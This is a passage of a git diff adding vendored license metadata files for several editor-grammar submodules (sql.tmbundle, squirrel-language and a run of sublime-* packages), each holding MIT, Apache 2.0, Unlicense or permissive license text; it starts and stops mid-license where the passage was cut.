+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2023-Present St. Jude Children's Research Hospital
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+- sources: LICENSE-MIT
+  text: |
+    MIT License
+
+    Copyright (c) 2023-Present St. Jude Children's Research Hospital
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sql.tmbundle.dep.yml b/vendor/licenses/git_submodule/sql.tmbundle.dep.yml
new file mode 100644
index 0000000000..06e7f86c52
--- /dev/null
+++ b/vendor/licenses/git_submodule/sql.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: sql.tmbundle
+version: 6d4edbc113d3272f7c097d6b1504624289ee2bc5
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/squirrel-language.dep.yml b/vendor/licenses/git_submodule/squirrel-language.dep.yml
new file mode 100644
index 0000000000..51c6b1a40d
--- /dev/null
+++ b/vendor/licenses/git_submodule/squirrel-language.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: squirrel-language
+version: e3fc608676caad0bc3fd6001dadae90590b697e0
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2017 Mathew Mariani
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/st2-zonefile.dep.yml b/vendor/licenses/git_submodule/st2-zonefile.dep.yml
new file mode 100644
index 0000000000..69a40ca0c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/st2-zonefile.dep.yml
@@ -0,0 +1,31 @@
+---
+name: st2-zonefile
+version: 9768a7e2ae598e55453a9946b3e7e1d5668ced01
+type: git_submodule
+homepage: https://github.com/sixty4k/st2-zonefile
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Mike Robinson
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/standard-ml.tmbundle.dep.yml b/vendor/licenses/git_submodule/standard-ml.tmbundle.dep.yml
new file mode 100644
index 0000000000..b9c4d7ea9e
--- /dev/null
+++ b/vendor/licenses/git_submodule/standard-ml.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: standard-ml.tmbundle
+version: b52a5ebf528f89f19bead3f92b10f772ccda74aa
+type: git_submodule
+homepage: https://github.com/textmate/standard-ml.tmbundle
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-MuPAD.dep.yml b/vendor/licenses/git_submodule/sublime-MuPAD.dep.yml
new file mode 100644
index 0000000000..6110cea7c8
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-MuPAD.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-MuPAD
+version: 79c49b98086b2b1e378496d69b7394f7347836cb
+type: git_submodule
+homepage: https://github.com/ccreutzig/sublime-MuPAD
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2012-2014 Christopher Creutzig
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-angelscript.dep.yml b/vendor/licenses/git_submodule/sublime-angelscript.dep.yml
new file mode 100644
index 0000000000..4b784ddbee
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-angelscript.dep.yml
@@ -0,0 +1,32 @@
+---
+name: sublime-angelscript
+version: 7144f399677f24eb571cb65800d694b16f5ade8f
+type: git_submodule
+homepage: https://github.com/wronex/sublime-angelscript
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-aspectj.dep.yml b/vendor/licenses/git_submodule/sublime-aspectj.dep.yml
new file mode 100644
index 0000000000..7a10d89cb5
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-aspectj.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: sublime-aspectj
+version: c1928d2335a2958cdf69e06351d2c4118fc22ec8
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Paul Chaignon
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-autoit.dep.yml b/vendor/licenses/git_submodule/sublime-autoit.dep.yml
new file mode 100644
index 0000000000..cae184a237
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-autoit.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: sublime-autoit
+version: 2b2e950c7edb47da76d335fb205593bc83987a19
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2016 AutoIt
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-befunge.dep.yml b/vendor/licenses/git_submodule/sublime-befunge.dep.yml
new file mode 100644
index 0000000000..c7edcfd0dd
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-befunge.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: sublime-befunge
+version: a49a3fb1a3afca1dde2a522585841d97999e8ad7
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Johan Asplund
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-boo.dep.yml b/vendor/licenses/git_submodule/sublime-boo.dep.yml
new file mode 100644
index 0000000000..c03f8b5e28
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-boo.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-boo
+version: d71517d4189bb82b031856fca961f0ad495a7d1a
+type: git_submodule
+homepage: https://github.com/drslump/sublime-boo
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License
+
+    Copyright (c) 2012 Iván -DrSlump- Montes
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-bsv.dep.yml b/vendor/licenses/git_submodule/sublime-bsv.dep.yml
new file mode 100644
index 0000000000..d21854a3fb
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-bsv.dep.yml
@@ -0,0 +1,28 @@
+---
+type: git_submodule
+name: sublime-bsv
+version: 6b3ecf1d44a2e9a9fc8a6c73268d23f1ade81cd8
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Paulo Matias
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+    the Software, and to permit persons to whom the Software is furnished to do so,
+    subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+    FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+    COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+    IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+    CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-cirru.dep.yml b/vendor/licenses/git_submodule/sublime-cirru.dep.yml
new file mode 100644
index 0000000000..c0d93c47c9
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-cirru.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-cirru
+version: 5465b5ac1728bdee6bbfce8038eb368c6f06e720
+type: git_submodule
+homepage: https://github.com/Cirru/sublime-cirru
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+- sources: README.md
+  text: MIT
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-clips.dep.yml b/vendor/licenses/git_submodule/sublime-clips.dep.yml
new file mode 100644
index 0000000000..1b28362963
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-clips.dep.yml
@@ -0,0 +1,16 @@
+---
+type: git_submodule
+name: sublime-clips
+version: af566eb80b1a47d3b54713ad324dfc1d396ed464
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+    Copyright (c) 2016 Roberto "Psicomante" Pesando - https://github.com/psicomante/CLIPS-sublime
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-cypher.dep.yml b/vendor/licenses/git_submodule/sublime-cypher.dep.yml
new file mode 100644
index 0000000000..aaffa563f5
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-cypher.dep.yml
@@ -0,0 +1,23 @@
+---
+name: sublime-cypher
+version: 0232d8c12b10227f7a0061c39377132a02232d88
+type: git_submodule
+homepage: https://github.com/fredbenenson/sublime-cypher.git
+license: apache-2.0
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    Copyright (c) 2013 Jan-Klaas Kollhof
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-fantom.dep.yml b/vendor/licenses/git_submodule/sublime-fantom.dep.yml
new file mode 100644
index 0000000000..cf8bd7b496
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-fantom.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: sublime-fantom
+version: e5bef70a6c10a173bc82a1a8ccb4087f3a2d3bd9
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2016 Matthew Giannini
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-glsl.dep.yml b/vendor/licenses/git_submodule/sublime-glsl.dep.yml
new file mode 100644
index 0000000000..9db0c6c963
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-glsl.dep.yml
@@ -0,0 +1,34 @@
+---
+name: sublime-glsl
+version: 59a5f8a3120358657cefdc4b830b4a883ebfbf77
+type: git_submodule
+homepage: https://github.com/euler0/sublime-glsl
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org/>
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-golo.dep.yml b/vendor/licenses/git_submodule/sublime-golo.dep.yml
new file mode 100644
index 0000000000..cebdc3d767
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-golo.dep.yml
@@ -0,0 +1,31 @@
+---
+name: sublime-golo
+version: 33259eba0cd75d73ad833b7c29f6a77aa4af55cc
+type: git_submodule
+homepage: https://github.com/TypeUnsafe/sublime-golo
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright 2014-2015, Philippe Charrière
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-mask.dep.yml b/vendor/licenses/git_submodule/sublime-mask.dep.yml
new file mode 100644
index 0000000000..c9a21f2bea
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-mask.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: sublime-mask
+version: ac22df66625ba1a2e0ddff73bc636a75d182acfb
+license: mit
+licenses:
+- text: |-
+    MIT LICENSE
+
+    Copyright (c) 2014 Alex Kit
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sublime-nearley.dep.yml b/vendor/licenses/git_submodule/sublime-nearley.dep.yml
new file mode 100644
index 0000000000..a108da8336
--- /dev/null
+++ b/vendor/licenses/git_submodule/sublime-nearley.dep.yml
@@ -0,0 +1,34 @@
+---
+name: sublime-nearley
+version: e45515f8d2b54cb0e809bf723ddf6747c88523c4
+type: git_submodule
+homepage: https://github.com/Hardmath123/sublime-nearley
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
